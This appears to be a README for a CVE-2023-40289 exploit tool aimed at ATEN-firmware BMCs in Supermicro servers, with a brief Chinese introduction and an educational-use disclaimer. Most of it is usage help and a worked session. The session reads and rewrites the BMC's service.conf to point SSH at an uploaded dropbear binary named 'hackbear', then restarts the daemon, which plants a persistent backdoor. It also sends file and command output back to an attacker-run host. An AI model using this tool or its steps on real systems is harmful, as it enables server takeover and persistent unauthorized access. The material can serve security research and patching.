这是一个针对 CVE-2023-40289 的漏洞利用程序，该漏洞是多个采用 ATEN 固件的基板管理控制器（BMC）中的命令注入漏洞。 受影响的设备示例包括 Aspeed 的 AST2300 或 AST2500，它们常见于 Supermicro 的 X10 和 X11 系列服务器系统等设备中。
该漏洞最初由 Binarly 发现。 本仓库只是扩展了他们的 PoC，使其更易使用。
请仅用于教育目的，并在获得所有相关方同意的情况下使用。
Usage: CVE-2023-40289 [OPTIONS] COMMAND [ARGS]...
Exploit CVE-2023-40289 on BMCs with ATEN firmware.
/!\ Caution! This script will overwrite alerts without prompting! /!\
Options:
--target TEXT URL of the target BMC's web UI. [required]
-h, --lhost TEXT IP address or host name of this system to get payload
output. Limited to ~35 characters.
-l, --lport INTEGER Local port to run an HTTP server on to get payload
output. [default: 80]
-s, --sid TEXT A valid session ID for an administrative user on the
target system.
-u, --username TEXT The name of an administrative user to log in as.
Ignored if --sid is given.
-p, --password TEXT The password of the given user.
--delay FLOAT Delay between running a command and retrieving its
output. [default: 1.5]
--help Show this message and exit.
Commands:
get Get FILE from the target BMC and save it locally.
put Write local FILE to the BMC at DEST.
run Run the PAYLOAD command on the target BMC.
Note: All options may also be given as environment variables with the prefix
'BMC_' (e.g. BMC_TARGET).
$ export BMC_TARGET=192.168.0.8
$ export BMC_USERNAME=admin
$ export BMC_PASSWORD=hunter2
$ export BMC_LHOST=192.168.0.7
$ CVE-2023-40289 get /nv/service.conf
[.] Triggering upload of /nv/service.conf from BMC.
[✓] File contents written to nv/service.conf.
$ cat nv/service.conf
HTTP_SERVICE=0
HTTP_PORT=80
HTTPS_SERVICE=1
HTTPS_PORT=443
SSH_SERVICE=1
SSH_PORT=22
WSMAN_SERVICE=0
WSMAN_PORT=5985
IKVM_SERVICE=1
VM_SERVICE=0
SSL_REDIRECT=1
SNMP_SERVICE=0
SNMP_PORT=161
STUNNEL_SERVICE=1
STUNNEL_PORT=5900
$ echo SSH_EXE=/nv/hackbear >> nv/service.conf
$ CVE-2023-40289 put service.conf /nv/service.conf
[✓] Set download payloads
[✓] Downloaded service.conf to BMC.
[✓] Moved downloaded file to /nv/service.conf on BMC.
$ CVE-2023-40289 put dropbear-arm /nv/hackbear
[✓] Set download payloads
[✓] Downloaded dropbear-arm to BMC.
[✓] Set file mode.
[✓] Moved downloaded file to /nv/hackbear on BMC.
$ CVE-2023-40289 run /etc/init.d/smashd restart
[✓] Set payload command
[✓] Triggered payload command
[.] Getting command output
Verify the ssh key-/nv/dropbear/dropbear_rsa_host_key. Please wait.
Verify the ssh key-/nv/dropbear/dropbear_dss_host_key. Please wait.
Starting SMASH daemon .....
此脚本需要：
MIT